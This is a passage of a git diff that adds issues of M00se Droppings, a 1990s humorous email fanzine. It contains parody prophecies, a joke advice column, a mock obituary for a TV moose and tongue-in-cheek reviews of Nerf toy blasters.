+numbers or if they see two different messages with the same number). We take +these Important Messages (tm) and post them all over campus or just hand them +to people we dont know (you should see the look of confusion as the person +tries to figure out who you are and what the scrap of paper means). + Our infiltration campaign is also running successfully. We have a m00se +on the local radio show, and at least three m00ses on the campus films-and- +video committee (an excellent chance to pick the stranger or more confusing +movies... Brazil comes to mind). + So the MUSELIX (tm) Throng is thriving well and spreading the conspiracy +across the southlands. Happy M00semass. + + Snafu M00se + Official Unofficial Big Grand Poobah of the + MUSELIX Throng of + The M00se Illuminati + +-------------------------------------------------------------------------------- +**************************** INTERESTING ARTICLES ****************************** +-------------------------------------------------------------------------------- + +[Informative m00se/car collision data from Lord Sabre.] + + + Having read Mugwump's close automotive m00se encounter, I am forced to +draw upon my superior knowledge of m00ses (the bovine kind, what we drew our +inspiration from), and clear up a few misconceptions. + First off -- he believed hitting the m00se would have damaged the m00se, +the car, and himself. Two out of three isn't bad. However, the m00se that +could be damaged by anything less than a '66 Chevy made out of steel and the +size of Montana has yet to be born. More than likely, the m00se would have +mistaken Mugwump's smushing his car against him as an overture of friendship. + Second, and this is the absolute truth, when encountering a M00se standing +in the middle of the road, wait *patiently* for the m00se to decide to move. +Don't rev the engine, the m00se will simply watchand try to figure out why you +make those silly noises. And *don't* honk your horn at him. Leviam00se's +truth -- a car horn sound means (in Primal M00se), "I am a Bull M00se who will +take your mate, stop me if you can!" **THE M00SE WILL CHARGE AT YOU, RAMMING +YOUR CAR WITH ALL ITS STRENGTH!!!!!** Believe it -- unless you want a ton-and- +a-half of Mutant Deer smashing your front end into modern art, *don't honk the +horn!* + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +[Gary Olson, bless his heart, passed on this little gem. Ten to one, Ann + Landers won't print it. I left the whole thing in caps, since it's possible + the author wanted it to be read entirely in a shout. Try to forgive the + meter.] + + DEMON RABBIT BURN IN HELL + HOPE THE DEVIL TREATS YOU WELL + NOW THAT ALL YOUR KILLING'S THROUGH + YOUR ETERNAL PUNISHMENT HAS COME DUE + DRIVE A CARROT THROUGH YOUR HEART + SHOULD HAVE BEEN GOOD FROM THE START + BUT THE EASTER BUNNY YOU WERE NOT + NOW YOU'RE WHERE IT'S NICE AND HOT + DEMON RABBIT WITH TEETH SO WHITE + STALKING VICTIMS IN THE NIGHT + RIP THEIR THROATS OUT; DRINK THEIR BLOOD + DRAG THEIR BODIES THROUGH THE MUD + RABBIT PELLETS WEREN'T GOOD ENOUGH FOR YOU + NOW YOU'RE PLAYING HUMAN-FOO + DEMON RABBIT WITH CLAWS SO BLACK + SEE HIM SPRING FOR THE ATTACK + DEMON RABBIT, YOU'RE NO SAINT + DEMON RABBIT, BUGS YOU AIN'T + SPEND THE NIGHT CONSUMING GORE + COME SUN-UP YOU'LL WANT SOME MORE + SPREAD YOUR TERROR FAR AND NEAR + FILL YOUR VICTIMS FULL OF FEAR + DEMON RABBIT BURN IN HELL + THIS POEM'S DONE--AIN'T IT SWELL? + + --Faye Levine/"Demon Rabbit" + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +[More on the Age of m00siness, from Lord Sabre, Prophetm00se.] + + + In the time after the Third Sign, it will come to pass that the Third Sign +will bring about the Fourth Sign, which is not to be confused with either the +first or second signs, nor should we decide that the Fourth Sign is a Cosine of +the Third Sign, or that the Third Sign may not just be another application of +the Sixth Sign, and no, I haven't been watching the Seventh Sign, though my +roommate told me all about it.... + + "CHEESEBURGER!!!!!! LARGE FRIES!!!!! ORANGE SODA!!!!!" the All-Powerful +Leviam00se will shout. "What is WRONG with you???!!!" + "Mmmmm mmm mmmm mmmmmm mmm mmmmmmm mmm mmmmm mmmmmmmmmm?" + "NNNNNNRRRRRRLLLGGGGGHHHHHH!!!!!!!!" and Leviam00se will utterly crush +the hamburger stand beneath his feet. Whereupon he will cross the street and +go to Pizza the Hutt. + + George Herbert Walker Bush, the Forty-First president and the president +with the stupidest name since William Taft, will be sitting at his desk. He +will be pondering the ways to reduce the budget and increase the military, +simultaneously. "Hmmm. Now, the Great Depression ended when America went to +war against Germany, the last time. And that also increased the Military...and +Germany has reunified...." + "Mr. President," the intercom will buzz, "the Vice-President is here to +see you." + "Give him his daily lollipop and send him away." + "He insists on seeing you sir. He's also offered to tip me three hundred +dollars." + "Eh? Must speak to his father. Right, send him in." + The small, spindly form of the Vice President will enter, being followed +by six huge men in spandex tights. + "Dan? Who are they?" + "They're my new...Secret Service agents, Georgie-Poo. And call me Vince." + "Vince?" + "Vince Quayle. I'm here to discuss the terms of your abdication." + "Abdication? Dan--er, Vince, you're crazy! No one would accept you as +president! You're...well," + "Hmm. Hawk, Animal, Anvil -- why don't you 'Convince' the President." + Vince Quayle will step outside as the noise rose behind him. + + That evening, in a heartfelt message, George Bush will tell the American +people from his Hospital room that he feels Vincent Quayle, Jr. would make a +fine president, and he hopes the country will prosper. + + This will be the Fourth Sign. We're absolutly sure it's the Fourth One. +Not the Third, not the Fifth, Eight is right out. + + Somewhere in a Pizza Hut, his order taken, Leviam00se will munch on a +breadstick. And wait. And Wait. And Wait.... + + + More, as the Muse comes upon me (get your minds out of the Gutter.) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Information on what may possibly be an undiscovered sign of the M00se Age, + from Mitya the Red M00se.] + + + Zdravstvuite, and bl00pski! I have an interesting story to relate, +regarding my recent trip to the Franconia Notch area of New Hampshire. While +traveling the back lane of Rt. 302 south with my fiance (who may or may not +become a m00se soon--I'm working on it), we came across a most perplexing sign. +It looked like this: + + |-------------| + | | + | MOOSE | + | | + | | + | X - ING | + | | + | | + |-------------| + [] + [] + [] + [] + + Jen and I puzzled over this for quite some time. We even pulled the car +over to ponder this odd sign. What did it mean? The 'x' obviously stood for a +blank. We arbitrarily decided that this was a "fill-in-the-blank" sign, for +passing motorists to fill in with whatever they happened to see a m00se doing. +They could see a m00se 'walk'-ing or 'run'-ing or 'bl00p'-ing, so it was a very +versatile sign in our opinion. + But then a horrible thought crossed my mind. What if the New Hampshire +road commission wanted to place a sign but because of local obscenity laws, +could not put certain words on the sign??!! What are these m00se in New +Hampshire doing on the side of Rt. 302 that the New Hampshire road commission +cannot detail their activities??? + I think the m00ses of America deserve some kind of explanation of this +kind of activity. Or am I just blowing this WAAAAYYY out of proportion? +Inquiring m00ses want to know. + + Do svidaniya, and if you must bl00p, + pull the shades down, tovarishch! + + Mitya the Red M00se. + +================================================================================ +WINONA RYDER IS MY ONE TRUE LOVE ISSUE -- WINONA RYDER IS MY ONE TRUE LOVE ISSUE +================================================================================ diff --git a/textfiles.com/magazines/M00SE/m00se47 b/textfiles.com/magazines/M00SE/m00se47 new file mode 100644 index 00000000..aa97d1d4 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se47 @@ -0,0 +1,790 @@ +Date: Sat, 12 Feb 1994 19:09:57 -0800 +From: Cooking with potential energy +Subject: M00se Droppings #47 + +======================================================================== +REVIEW REVUE ISSUE REVIEW REVUE ISSUE REVIEW REVUE ISSUE REVIEW REVUE IS +======================================================================== + _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE + \_____/ () \_____/ MM MM 0 //0 0 //0 S E + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE + / \__/ \ M M M 0// 0 0// 0 S E + /__________\ M M 0000 0000 SSSSS EEEEEEE + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #47 2/11/1994 +======================================================================== + +STAFF: + + Editor In Chief: Bill Dickson + Assistant/News Editor: Dominic White + Reviews Editor: Gary Olson + + +------------------------------------------------------------------------ +************************ THE ISSUE AT A GLANCE ************************* +------------------------------------------------------------------------ + +EDITORIALS AND LETTERS + Welcome Back! + +EVENTS AND NEWS + Rhett the M00se, In Memoriam + +FEATURES + Ask the Sage + Tracking the Coming of the M00sey Age + +REVIEWS + Nerf Weaponry + Boing-Boing + Right Guard Sports Stick "Fresh Scent" Deodorant + + +------------------------------------------------------------------------ +************************ EDITORIALS AND LETTERS ************************ +------------------------------------------------------------------------ + + Greetings, my fellow m00ses. + Welcome to issue forty-seven of M00se Droppings, the official +newsletter of the M00se Illuminati. It's been a long time since issue +forty-six, which came out on Thanksgiving, 1990. Much has transpired since +that day; I have moved to Seattle, Washington, I turned twenty-six at about +3:00 this morning, and I have learned to make beer. + The next few issues of M00se Droppings are going to be somewhat +changeable and inconsistent; they are essentially a stop-gap measure until +we can really rework the newsletter. I had hoped to have the reworking +complete by now, but as it turns out, I'm in the middle of writing a book +and I don't have time. Hence, my introduction is necessarily short. + We wanted to get the issue out today, however, as it is now the 39th +month since the last issue of M00se Droppings. Thirty-nine naturally +reduces quite easily to thirteen, one of the M00sey numbers; plus, it is +the eleventh day of the second month, giving us another thirteen. So you +can see how important it was to get the issue out, how it speaks so +powerfully to the very essence of our m00sey natures and our inner selves. + +[Editor's Note -- Due to circumstances beyond our control, the issue was + delayed by a day. However, there seems to have been no major cosmic + repercussions. Please disregard the above paragraph.] + + Until my book is complete (March 15), I will be turning over Editor In +Chief duties to my Assistant Editor, Dominic White (Icky-M00se). Please +send all submissions to him, with the exception of review submissions, +which go to Gary Olson (Svedishm00se). + If you would like to volunteer for the position of Features Editor, +please contact me. You will be responsible for the Sage's advice column, +the periodic updates on the coming of the M00sey Age, and anything else we +decide to pick up on a regular basis. + When the overhaul of M00se Droppings takes place, we will begin +publishing it in setext format. Setext is a text "markup" format --plain +text files contain unobtrusive markup characters that allow a setext reader +to display them with limited formatting. They also allow the reader to +index the contents of the file. Thus, where a plain text reader (like your +regular old UNIX mailer) sees **bold** and _underline_, a setext reader +will display the words "bold" and "underline" in the appropriate styles. + The indexing is the most useful feature. It can be implemented in +many ways, but on the Mac, you have a three-window reader. The top left +window contains the list of indexed files. The top right window contains +the subsections in the selected file. The large bottom window contains the +text of the selected section. It's been used successfully for the online +publication TidBITS for quite some time, and is ideal for small electronic +newsletters. + The catch is that there are only two readers currently available -- +one for the Mac (Easy View) and one extremely rudimentary one for UNIX. +Any programmers out there interested in writing versions for Windows, DOS, +XWindows, or whatever, please contact me and I'll get you all the +information I can. + On a final note, you may be pleased to know that our first issue is +going to exactly 50 subscribers. Not bad after a gap of more than three +years! Of course, this means the issues are already rather large for +transmission. If anybody has any leads on a LISTSERV that would make a +good home for M00se Droppings, please let me know! + And now, on with the issue. + Bl00p! + + -Pickle + + +------------------------------------------------------------------------ +*************************** EVENTS AND NEWS **************************** +------------------------------------------------------------------------ + + M00se Droppings has not been published since 1989. Here are a few +items of m00sey import that have happened since the last issue. + + -Icky-M00se + + Mosi Tatupu, New England Patriots star running back of the 80's and +the object of affection for many New England fans known as Mosi's +M00ses, officially retired. + + The "Mariner Moose" became the official mascot of Major League +Baseball's Seattle Mariners. "I'm happy for him, I really am. But I +have no idea why they made a him their mascot. M00ses don't have +anything to do with mariners, the ocean, boats, or anything," said +'Squatch,' his longtime friend and mascot of the National Basketball +Association's Seattle SuperSonics. + + The Northern Exposure m00se, who wandered the fictional city of +Cicely, Alaska at the opening of each episode with quiet reverence and +dignity, died a peaceful death in his modest cabin outside of Roslyn, +Washington surrounded by family and friends. + "Rhett," as his enlightened, but flawed, m00sey human friends +called him, was a m00se among m00ses. His life was a succession of +charitable deeds and noble acts. He always had time for others and +treated everyone the same, be they m00sey or not. + He lived in pleasant obscurity for most of his charitable life. +Despite his reluctance to leave the foothills of the Cascade Mountain +range, he made many friends all over the country, and it was a casual +relationship with a television producer named Joshua Brandley that got +him into show business. + "He really had no desire to be on television," said the successful +producer. "But he knew the show needed a certain oh... m00siness that +only he could provide. And he also knew I was desperate. So really he +did it as a favor to me. In fact, I have to say the entire success of +the show is due to Rhett. I originally wanted to film it on a Hollywood +soundstage, but he suggested Roslyn instead. It was definitely the +right choice. Oh, and one more thing. The rumors involving Rhett and +Janine Turner are absolutely false and have no factual basis." + While many of the young actors on Northern Exposure view the show +as a stepping stone to greater rewards and a richer life, Rhett +considered it a fun way to spend his autumn years. I firmly believe the +fame he finally achieved was more than a fun way to retire, it was a +tribute to a fine m00se whose greatest contributions to all the earth's +creatures were done out of the limelight and garnered rewards far +greater to Rhett than fame. This modest m00se once said, "I've lived a +fine, normal m00sey life. I can only hope someone out there is willing +to make my obituary sound more interesting that it really is." No need, +Rhett. No need. + + +------------------------------------------------------------------------ +******************************* FEATURES ******************************* +------------------------------------------------------------------------ + + ASK THE SAGE + The Only Advice Column You'll Ever Need, If You've Got $10 on You + by Superguy Digest's + The Sage + + Hello! Allow me to introduce myself. I am the Sage! I know +everything! Yes, that's right, everything! + I can tell, even now, that some of you are shaking your heads in +disbelief. How do I know? Because I'm the Sage, dammit! I know these +things! And I'm talking to you, Boris K. in Cleveland! I know about +your secret 'Barney' fantasy! And you, Alice M. of Wake Forest! Peanut +butter is not, I repeat, *not* effective as a contraceptive! + On to the letters! Being as this is the first issue of the revival +of 'M00se Droppings no actual letters have been sent in yet. But, +because I am the Sage, I already know the contents of the letters that +*will* be sent in following the shipment of this issue! So, I can +answer them now, and save the necessity of their being sent! What did I +tell you? I'm the Sage! I know everything! + +-------- +Dear Sage, + + I've been with my current girlfriend for over three years now, and +I'm thinking of asking her to marry me. If I did ask her now, what +would her answer be? + + Signed, + Nervous in New Mexico + + Well, Nervous in New Mexico (which is how I will address you, even +though you're really Alex Sanderson, a well known philatelist in Santa +Fe), I say ask her. She will reply 'yes' to your offer, and you will +spend a blissful week calling everybody you know and telling them about +your upcoming wedding. This will end when you get hit by a bus and die +on the spot, at which point she will pawn her ring and go out with a +European poodle breeder named 'Pierre.' That'll be $10, please. + +-------- +Dear Sage, + + Which came first, the chicken or the egg? + + Signed, + Bored in Bali + + Ah! A question that has perplexed philosophers and luminaries for +ages. Fortunately, I, the Sage, know the answer! After all, I know +everything! That answer is: the chicken, of course. Fortunately, he is +seeing a sex expert to take care of his little 'prematurity' problem, +and should be in better sync with his partner in the near future. +That'll be $15. + +-------- +Dear Sage, + + Okay, you know about my infatuation with Barney the Dinosaur. What +can I do to get him to notice me? + + Signed, + Boris K. in Cleveland + + I recommend coating yourself in chicken gravy, then parading in +front of him while the cameras are on. He will certainly notice you +then. In fact, he will probably eat you and spit out your bones. The +kids that surround him like a cloud of flies will take your bones and +build a tree fort with them. That will be $10, please. + + + That's all the time I have for this issue! This is the Sage, +signing off! + + +[Editor's Note: We are currently negotiation a contract with the Sage + which, we hope, will make the per-question charges unnecessary. Stand + by for more information.] + + + + TRACKING THE COMING OF THE M00SEY AGE + Prophecy McNuggets for your edification + by + Sabre the Pr0phetm00se + + + It has come to the attention of the Pr0phetm00se that many so +called `prophecies' are surrounding the upcoming end of the millennium, +scheduled by the non-illuminated as January 1st, 2001. The +Destructionists claim that the hurricanes, floods, earthquakes, +blizzards, fires and Dallas Super Bowl victories of the last few years +are leading up to a global apocalypse of horrific dimension. The +Reconstructionists claim that we are passing from the Piscean age of +horror and militant science and into the Aquarian Age of Naturalism and +love. The Liberals claim we are heading for economic prosperity. The +conservatives claim we are heading for economic ruin. + Charlatans. + The flaws in all of these budget Nostradumuses are self-evident to +the truly enlightened, which I (having drunk Winter Welcome Beer, Red +Rose Tea, and Dalwhinnie 15 year old scotch before writing this) +currently am. Now, I recognize that many of you have neither the +inclination nor the constitution to partake of these substances in the +toxic levels and mixtures required to achieve Delphic accuracy, so I +shall attempt to distill my own visions and insights into something that +we the M00se Illuminati can discover and understand. + First and foremost, I have gazed upon the naked sight of the death +of our world, and discovered that the Planet Earth's end shall not come +in fire or in torture, but in fact occurred in 1938 in Piccadilly, +England. It was a nasty destruction of the planet, but as it occurred +in Piccadilly, it was assumed that the destruction was in fact merely a +heated dispute (or `brawl') between Piccadilly fans and Manchester +United fans, after a particularly poor call. As a result, no one +realized that the planet had been destroyed and life (or a bizarre +hallucination of it) continued as normal. Therefore, there is no cause +for concern over the destruction of the Earth, as it has in fact already +occurred, having happened nearly fifty years ago. + Secondly, the coming of m00siness in America has become inevitable, +through the appearance of four signs, which have *already* *occurred*. +That's right -- none of this `ooo, this *will* happen' crap here. These +are all verifiable! That's right! We're on our way already. So, let's +take a look: + The Fist Sign was the 1992 Presidential Election. This is not to +say that the Pr0phetm00se is endorsing Clinton -- though I will admit +our current president is more innately humorous than any Republican +excepting Dan Quayle, who himself is unelectable (we *pray*). However, +immediately after the election, the Democratic Congress began to +fragment and twist, even though through simple unity the could pass any +measure. This fragmentation is a direct degeneration into Anarchy. + Ah, you say, but the Republicans are standing firm. Yes, but their +strongest leader is Senate Minority Leader Robert Dole. Senator Dole, +for those of you who don't listen to National Public Radio or watch CNN, +is a mean-ass son of a bitch. I'm not talking his politics. Merely his +personality. Mean guy. Under his leadership, and out of fear, the +Republicans are standing firmly, if ineffectually. Come time for the +next election, however, there will be a feeding frenzy, as various +republicans, madder than hell at Dole, tear him down. + So, the Democrats are fracturing. The Republicans are getting +ready for a cannibalistic orgy. The result for the U.S. Government? +Higgledy- Piggledy. + And thus comes the M00sey Age. + The Second Sign was the winning of the Late Night Wars by David +Letterman -- Honorary M00se and Late-Show M00se. Mr. Letterman has +successfully broken down and eliminated Jay "Mr. Establishment" Leno, +made us all forget Arsenio "Boring" Hall, and made the Vice President of +the United States, Former President Carter, and Sean Connery all look +like idiots, and all three are more popular than ever as a result. When +Al Gore -- a man who is the odds on favorite to be president in the year +2001, which is that fated millennium we've been talking about -- said +`Buttafucco' on National Television, I knew the M00sey age was not far +behind. + The Third Sign is Rush Limbaugh and Howard Stern. Between the two +of them, they own A.M. Radio. They own it to the point that in every +key market, their shows are outperforming F.M. This is despite the fact +that neither one of them really deserves to live, much less be rich. +Tell me that ain't M00se-level perversity. + The Fourth Sign is the fact that the Buffalo Bills have lost four +Super Bowls in a row. They are the best team in the A.F.C., and they +have had their butts kicked by the N.F.C. four years running. This +means that even as far as football fanatics are concerned, there simply +is no point to the Super Bowl any longer. The A.F.C. can't compete. To +that fact -- the uselessness of the A.F.C. -- we must add Fox's stealing +of the N.F.C. games from CBS. For those of you who do not know -- there +is not a *single* Fox program on television today that is above 40 in +the weekly Nielsons. Not one. The Simpsons, Beverly Hills 90210, +Married with Children -- all below 40. Therefore, N.F.C. Football will +also drop to below 40 in the ratings. No one will watch N.F.C. games. +There is no point to watching A.F.C. games. Therefore, N.F.L. Football +will die within the year. The destruction of N.F.L. Football will in +and of itself mean the destruction of a way of life for fat white Middle +Class Americans. What will replace it? The M00se Age, of course. + So all looks rosy, right? Wrong. Of course not. Don't be such an +idiot. There is a dark force which could obliterate the consensual +shared- hallucination of life utterly. There is indeed something to +worry about.... + And that is the 1994 Winter Olympics, but that is a subject for the +next column. After all, no Pr0phet -- especially a Pr0phetm00se -- can +tip his entire hand in one column, right? Right. + + +------------------------------------------------------------------------ +******************************* REVIEWS ******************************** +------------------------------------------------------------------------ + +Hail and well bl00ped, fellow m00ses! This is Svedishm00se, your review +m00se of the eleven veils (some of you may remember me as Harl0ck from +long before). In this edition, we have reviews by the lovely and +talented Sabre of the Nerf Missile Blaster, Nerf Bow, and Nerf +Boomerang, while I review Boing Boing Magazine and Right Guard Sports +Stick ("Fresh Scent") Deodorant. + +All reviews for future editions of M00se Droppings should be sent to me +at swede@drycas.club.cc.cmu.edu, or swede@drycas.bitnet. Review +anything you like - films, fanzines, deodorants, religions, and so on. +You are encouraged to invent your own rating system - the more +inconsistent this section is, the m00sier it is. If you are able to +send your review formatted to 72 columns, please do. If not, don't +worry about it - this isn't rocket science, you know. + + - Svedishm00se + + * * * + + THE ARMAMENT REPORT + by + Sabre the Pr0phetm00se + + We the M00se Illuminati are collectively a pacifist anarchist +movement. However, we live in a violent world. A nasty, violent +world. A world that is, above all, nasty and violent. A world that +actually ended in 1938 in Piccadilly, England, but is nasty and violent +nonetheless. So, we must arm ourselves to protect ourselves. But we +must arm ourselves in such a way that we are still pacifists. We must +be ready to perform non-violent acts brutal in their violence. + Paradox? Not at all...for we can arm ourselves with...NERF!!!!!! + That's right. Nerf. The Playground Football stuff. Nerf causes +little to no harm, and at the same time can be employed in mind- +bogglingly violent fashions. Thus, a fellow can preserve his principles +and his honor all at once. + Thus, I shall review three Nerf weapons and give an overview of a +few other options. This will help the discriminating M00se in this +most important issue of arming himself peacefully. + +THE NERF MISSILE BLASTER: + The basic Nerf weapon. The Nerf Missile Blaster is a small pistol +like unit made out of a molded reddish orange plastic, with black +plastic parts. It fires small black and yellow mini-missiles made of +100% Nerf. You fire the weapon by pulling the black trigger pump out of +the forward part of the pistol, while the missile itself rests on a +black tube that extends from the back of the weapon. You then pull the +pump towards you swiftly, which causes an air charge to blast the +missile off of the tube out towards your enemy. A rack comes with the +pistol and can be locked on the pistol, allowing you to carry all three +missiles that come with the weapon on the weapon itself. + This pistol is astoundingly effective. I have successfully fired +the weapon a full city block, with a great arcing motion. The missiles +fire fast enough so that it is hard to dodge them. And the gun retails +between seven and nine dollars, which means you can get them at any +Woolworths for next to nothing. These things are *wonderful*. They are +durable and silly looking, all at once. + Furthermore, you can strike your opponent in any part of the +anatomy, *including* the male genitalia, and cause no harm whatsoever. +None. It has happened to me. I would think a shot to the eye would be +nasty, but it is the only way I can even *conceive* of causing actual +damage with one of these little devils. + This pistol, once it catches on, will easily be the weapon of +choice in games of Killer, TAG: The Assassination Game, or the like. +With a greater range and less harmful potential than conventional +suction-cup dart guns, the weapon is perfect for such things. +Furthermore, it is red-orange and looks nothing like a real weapon, so +most fascist campus police types won't be able to justify shooting you +when they do. And that means you'll be able to sue them for a lot of +money indeed. + + RATINGS: + Accuracy: 97 out of a possible 100. More when fired at Vince + McMahon of the World Wrestling Federation on your + Television (will not harm your TV) + Usefulness: 899 out of a possible 933. There are few + situations, from business to sex, where a shot to + the forehead with one of these babies won't make + things better. + M00siness: 2 out of Pi. It's practically guaranteed that any + situation, when two people have these babies, will + become a more M00sey situation. + +THE NERF BOW: + This Nerf Weapon is mind bogglingly fearsome looking. It is huge, +and made of black and blue plastic, with blaze orange `bow' attachments +and a black cord that connects to the handle of the Firing Mechanism. +The Arrows are much larger versions of the mini-missiles above (the +Arrows may also be used in the Nerf Missile Launcher, the Nerf Master +Blaster, and make nice throwing weapons) and are yellow and blue. Once +again the Nerf Bow comes with a rack to hold the two spare arrows on the +weapon itself. The `loaded' arrow fits on a rod that extends from the +apex of the bow. You fire the bow by pulling back on the bow's handle, +which extends out of the body (and makes you look like you're drawing a +real bow). When you release, the unit snaps in forming a compressed air +charge that blasts the Arrow off at the target. There is a sighting +mechanism on the bow. + This weapon is more powerful than the Missile Blaster, though the +range is considerably less (I expect thirty feet is the furthest one +could expect to he effective). The action on the weapon is good, though +I admit I prefer the weapons that you can control the amount of air +pressure involved (this weapon you pull back and release, letting the +internal springs fire the Arrow, limiting your power to the power of the +springs). I found that the arrows pull to the right of the sighted +target as well. The impacts cause a slight stinging to bare skin, which +leads me to recommend not using head-shots with this weapon. The weapon +appears incapable of causing actual harm, however. + The Nerf Bow's true effectiveness is in appearance. The thing +*looks* as though it should be toted around by Chewbacca the Wookie from +Star Wars. Facing the business end of this Bow is an exercise in +nervousness, though it is Nerf, so the nervousness is misplaced. It is +powerful and accurate, and well worth owning as heavy artillery. +However, I have to admit I am disappointed in a `bow' with a shorter +range than a pistol. + The Nerf Bow has specialty arrows available (which may be used with +the other Nerf Weapons indicated above). You may have Water Arrows +(they have softer sponge cores which absorb water, leading to a +splashdown impact) and suction cup arrows (self explanatory). The +suction cup arrows, not having Nerf based warheads, could likely cause +more harm than others. I have yet to test the effectiveness of any of +these. + I can recommend this weapon as being a lot of fun, and as being a +good intimidation factor for M00se Throngs staging Nerf Wars. It is not +nearly as M00sey a weapon as the Missile Blaster, however. + + RATINGS: + Accuracy: 10 out of 17.5. The weapon pulls to the right, but + it does so consistently, so as one gets used to the + action of the weapon, they learn to lead to the + left. + Usefulness: 47 out of 55. It is best at short ranges, but is + very effective there. + M00siness: 2 out of 10. The discipline needed for this weapon + counteracts the chaos inherent in Nerf. + +THE NERF BOOMERANG: + The Nerf Boomerang is a green Nerf weapon, with three arms +extending from it's center at obtuse angles to each other. Each arm is +shaped like an airplane wing, with a plastic yellow button (for weight) +near the end of each arm. The arms are `warped,' angling towards the +top of the weapon. One `fires' the weapon by holding one of the arms, +with the top of the weapon facing you, cocking your arm, and throwing +with a spinning motion. + The Nerf boomerang is much firmer Nerf than the other weapons +reviewed herein. It could conceivably cause more damage than other Nerf +weapons because of this, except for one thing. + The Nerf boomerang is aerodynamically designed to fly in a circular +arc, returning to your hand. That's the design. Well, there isn't a +*single* Nerf boomerang that has ever done this. The weapons simply fly +off in a dizzying array of loops, swoops, and arcs, forming a chaotic +patter that is, to be blunt, hilarious. As a weapon it is useless +because it is more likely you will win the lottery without being shot +than it is you will hit your target. You will likely paralyze your +target with amazement and laughter, however, as they watch the +aerodynamic improbabilities inherent in the design of this weapon. It is +the most M00sey weapon I've ever seen. What's more, the Nerf +Boomerang redefines the frisbee-like game of catch, turning it into a +contact sport. + + RATINGS: + Accuracy: -150 out of any number you want to choose. + Usefulness: There has never been any more useless weapon + invented for any purpose. + M00siness: Infinity minus two out of infinity. + +NERF HYDRO BAZOOKA: + The Nerf Hydro Bazooka is a long yellow tube, with a blue and +yellow tube over it, tipped with an orange cup (designed to hold the +Bazooka ammunition). The blue and yellow outer tube is designed to be +pumped Shotgun style. An orange water tank is attached to the opposite +side of the weapon, and a blue brace for three rounds of ammunition is +on the top of the blue and yellow tube. The ammunition for the Nerf +Hydro Bazooka is a relatively solid small Nerf ball, yellow in color. + The Hydro Bazooka is designed to be fired in two different modes -- +air based and water based. Firing is accomplished by loading a Nerf +ball in the cup on the end of the Hydro Bazooka, pulling the yellow tube +as far out of the blue and yellow tube as possible, aiming, and yanking +the blue and yellow tube towards yourself while pushing the yellow tube +away. In air mode (i.e. -- no water in the tank) a compressed air +charge forms, blasting the Nerf ball out at its target. In water mode, +the act of cocking the weapon (drawing the two tubes apart) fills the +chamber with water from the water tank, and firing blasts the Nerf ball +out in a spray of compressed air and water. + The Hydro Bazooka has got to be the most impressive sounding weapon +on the market. To approximate the sound of the weapon being fired, one +should take an airtight wooden box to the Painted Desert in the summer +when there is no breeze. In that absolute quiet, take a nail gun and +fire a nail into the box. You'll hear an incredible hollow >>FWACK<<. +This is approximately the noise the Nerf Hydro Bazooka makes in air +mode. It rattles your opponents well and scares small animals, and it +causes a person to make the inspired observation, "that is SO COOL!" + Which, admittedly, it is. It's the best feature of the weapon, +which otherwise is somewhat lackluster. It has a very short range in +air mode, caused by having to blast the ball out of the cup on the end, +rather than having the ball just sail off (as with the Nerf mini-missile +and missile weapons). This lack of range is made worse by the Nerf +ball's poor aerodynamics. It is also not a very accurate weapon, in +that firing the weapon involves moving both of your hands in different +directions. The Nerf ball does not cause any harm to any portion of the +anatomy, as we have come to expect of Nerf. + In water mode, the weapon is more powerful. Winter conditions have +prevented us from making a range test, but the blasts are far stronger +and the Nerf ball's range is improved. The Nerf Ball does not seem to +significantly absorb water, which is good. The specs of the Nerf Hydro +Bazooka claims it can fire three water blasts. This is exaggerated -- +it fires one good blast, and one lackluster blast. After that, even +though the tank is still about half full, it barely fires any water at +all. Best to expect this weapon to be a Nerf weapon, instead of a water +weapon. Still, that first water blast is impressive -- putting any +`super' water cannon to shame. + Oddly enough, the cannon is not designed to fire in water mode +without Nerf Ammunition locked in the head of the chamber (Apparently +since the necessary compressed air charge cannot be formed). The weapon +designers have overcome this by including a fourth Nerf Ball with the +weapon -- a ball that is literally tethered to the Hydro Bazooka with an +orange plastic tab. In water mode, this allows the water blast to be +fired without the Nerf (for whatever reason a person might want to do +that). Without the water, however, I'd have to call it an entirely +different mode -- Popgun mode. All the incredible sound effects without +the Nerf ball to find, afterwards. This has to be the m00siest of the +firing modes. + The Hydro Bazooka is inexpensive (ten to twelve dollars) and a lot +of fun. It is not the best weapon for a Nerf War (see the head-to-head +comparison with the Nerf Bow, below), but it adds a lot of intimidation +factor and does give one good water blast that makes it unique. + + RATINGS: + Accuracy: ** + Usefulness: *** 1/2 -- Though you won't hit much, you'll rattle + your opponents to no end. + M00siness: **** 1/2 -- Not as M00sey as, say, the Nerf + Boomerang, but pretty darn M00sey nonetheless. + + HEAD-to-HEAD + The Bow verses the Bazooka + + Having secured two weapons of high artillery, the M00se Droppings +Allied Nerf Testing Team (consisting of Guardian M00se, Sabre the +Pr0phetm00se, and ManlyM00se) decided to place the weapons to the test - +would Sabre's Nerf Bow be able to take Manly's Hydro Bazooka in the +most American of problem resolution techniques -- the gunfight at high +noon. + We separated at a distance of fifteen to twenty feet, while +Guardian M00se pelted us randomly with shots fired off from his Missile +Blaster -- at which time Sabre and Manly would pause to hammer him with +high powered shot. + We used International M00se Dueling Convention Rules -- namely, +that any hit anywhere on the body counted, that there was no set time to +start shooting, that shots fired after being hit did not count, that a +double hit (both shots fired before either was hit) was a draw, and that +if one hit his opponent, he would thrust his fist into the air, howl +"VICTORY!!!" at the top of his lungs, and otherwise gloat. + Those rules being set, we immediately dueled for about an hour and +a half. Oddly enough, firing weapons at your best friend with murderous +intent never seems to get dull. + + Results: + + After long and involved testing, we determined that the Nerf Bow +was the better dueling weapon, by virtue of the fact that Sabre beat +Manly -- despite roughly equal skill -- about four hundred times, +compared to the fifteen to twenty Manly beat Sabre. + I admit I might be exaggerating. + The Nerf Bow's aim problem was not a factor, as in the 